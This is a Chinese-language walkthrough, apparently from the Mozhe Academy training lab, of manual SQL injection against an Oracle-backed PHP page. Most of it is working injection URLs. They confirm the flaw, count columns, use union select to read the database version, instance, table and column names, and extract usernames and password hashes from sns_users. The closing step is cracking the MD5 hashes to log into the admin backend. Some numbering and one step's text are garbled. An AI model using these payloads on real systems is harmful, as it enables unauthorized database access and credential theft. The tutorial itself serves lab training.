Oracle手工注入

墨者学院

1、判断是否存在注入点

new_list.php?id=1 and 1=1 页面显示正确

new_list.php?id=1 and 1=2 页面报错  说明存在sql注入

1、查询字段数量

new_list.php?id=1 order by 2 页面显示正确

new_list.php?id=1 order by 3  页面报错 由此可见，当前字段数为2

3、获取显错点，联合查询这⾥使⽤了union select，oracle数据库与mysql数据库不同点在于它对 于字段点数据类型敏感，也就是说我们不能直接union select 1,2,3来获取显错点了，需要在字符型字段 new_list.php?id=1 order by 2 new_list.php?id=1 order by 3 1 2 Python48 使⽤字符型数据，整型字段使⽤整型数据才可以。如下，两个字段都为字符型，故使⽤ union selec t ‘null’,‘null’ 。

new_list.php?id=-1 union select 'null','null' from dual 

4、查询数据库版本信息

new_list.php?id=-1 union select 'null',（select banner from sys.v_$version where rownum=1） from dual

5、查询当前数据库名

new_list.php?id=-1 union select 'null',（select instance_name from V$INSTANCE） from dual

6、查询数据库表名，查询表名一般查询admin或user表

获取第一个表名：new_list.php?id=-1 union select 'null',（select table_name from user_tables where rownum=1） from dual

获取第二个表名：new_list.php?id=-1 union select 'null',（select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$'） from dual

获取第三个表名：new_list.php?id=-1 union select 'null',（select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$'） from dual

使用模糊搜索查询，获取sns_users表名

new_list.php?id=-1 union select ‘null’,(select table_name from user_tables where table_name like ‘%user%’and rownum=1) from dual

7、查询数据库列名

new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME') from dual

new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME' and column_name not in 'USER_PWD') from dual

new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME' and column_name not in 'USER_PWD' and column_name not in 'STATUS') from dual

8、查询数据库数据获取账号密码的字段内容

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME <> 'hu'

9、使用md5在线解密，进行后台登陆